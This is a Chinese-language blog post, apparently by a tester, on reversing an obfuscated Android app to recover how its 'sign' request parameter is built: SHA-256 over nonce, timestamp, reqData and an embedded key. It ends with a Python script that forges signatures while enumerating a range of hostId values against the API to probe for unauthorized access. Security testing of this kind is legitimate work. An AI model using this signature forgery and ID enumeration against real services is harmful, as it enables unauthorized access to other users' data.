APP解密参数sign

APP是公司自己的业务APP,没有加固,只做了代码混淆。本以为要对加密字段进行so文件的逆向,查看后发现是Java层的加密,相对较简单。

首先抓包查看加密字段和相关参数值,可以看到一共有四个参数,其中sign是加密验证完整性字段

1555574089554

利用AK逆向APP包,搜索sign字段信息,但是搜索结果过多,查找较困难,但是sign是一个data参数字段,因此尝试更换其他字段搜索。

1555574535666

搜索reqData字段可以看到,搜索结果就smali文件存在,第一个为程序包,查看代码,利用jd来查看反编译Java代码。

1555574610824

搜索字段,可以看到如下所示,以下字段可以看出,程序对其四个字段的获取都有代表的变量,而我们只需要获取sign的变量,localObject2。

变量的值来源为t包的b方法,可以明显看到,值为nonce,tiestamp, localObject1, t.f的相加值。而localObject1为reqData的值。

1555575022131

查看t.b的方法,方法如下,对字段进行sha-256加密。查看a方法

public static String b(String paramString)
  {
    return a(paramString, "SHA-256");
  }

其中t.a的执行为对指定的参数进行指定的加密,利用传入参数来确定。

public static String a(String paramString1, String paramString2)
  {
    try
    {
      paramString2 = MessageDigest.getInstance(paramString2);
      paramString2.update(paramString1.getBytes());
      paramString1 = a(paramString2.digest());
      return paramString1;
    }
    catch (Exception paramString1)
    {
      paramString1.printStackTrace();
    }
    return null;
  }

而t.f代表的是一段加密公钥,此处不在列出,利用在线工具查看加密结果是否一致。可以看到加密后的参数和抓到的包结果一致。

1555575489330

那么就可以利用我们自己生成加密参数的方式来进行测试,例如如下脚本,通过判断响应返回的字段来获取参数值,查看是否越权等信息。

#coding : utf-8


import hashlib
import requests


headers = {
	'Content-Type': 'application/x-www-form-urlencoded',
	'Accept-Encoding': 'gzip, deflate',
	'Cookie': 'JSESSIONID=xxxxxxx',
	'User-Agent': 'okhttp/3.4.1'
}

for i in range(60200000, 60295558):
	sha = 'MIICdgIBADAN.....TMK63hMPgm25mbCD0vKhsQtcSDlzVwtOOoNlW5E8CQQDNXVwGolFCqU9lb5147AHc+<INF><action>...</action><hostId>'+str(i)+'</hostId><ver>27</ver><transNo>1555571421812</transNo><deviceType>0</deviceType><verNm>3.3.1</verNm></INF>LE8I2QTAFHJM3M.....1555571421812'
	h = hashlib.sha256(sha)
	sha256 = h.hexdigest()
	data = 'reqData=<INF><action>.....</action><hostId>'+str(i)+'</hostId><ver>27</ver><transNo>1555571421812</transNo><deviceType>0</deviceType><verNm>3.3.1</verNm></INF>&nonce=LE8I2QTAFHJM3MO.....&timestamp=1555571421812&sign='+sha256
	r = requests.post('http://xxxxxx/api', data = data, headers=headers)
	if 'xxxxxx' in r.text:
		print i




# Android逆向  

tocToc: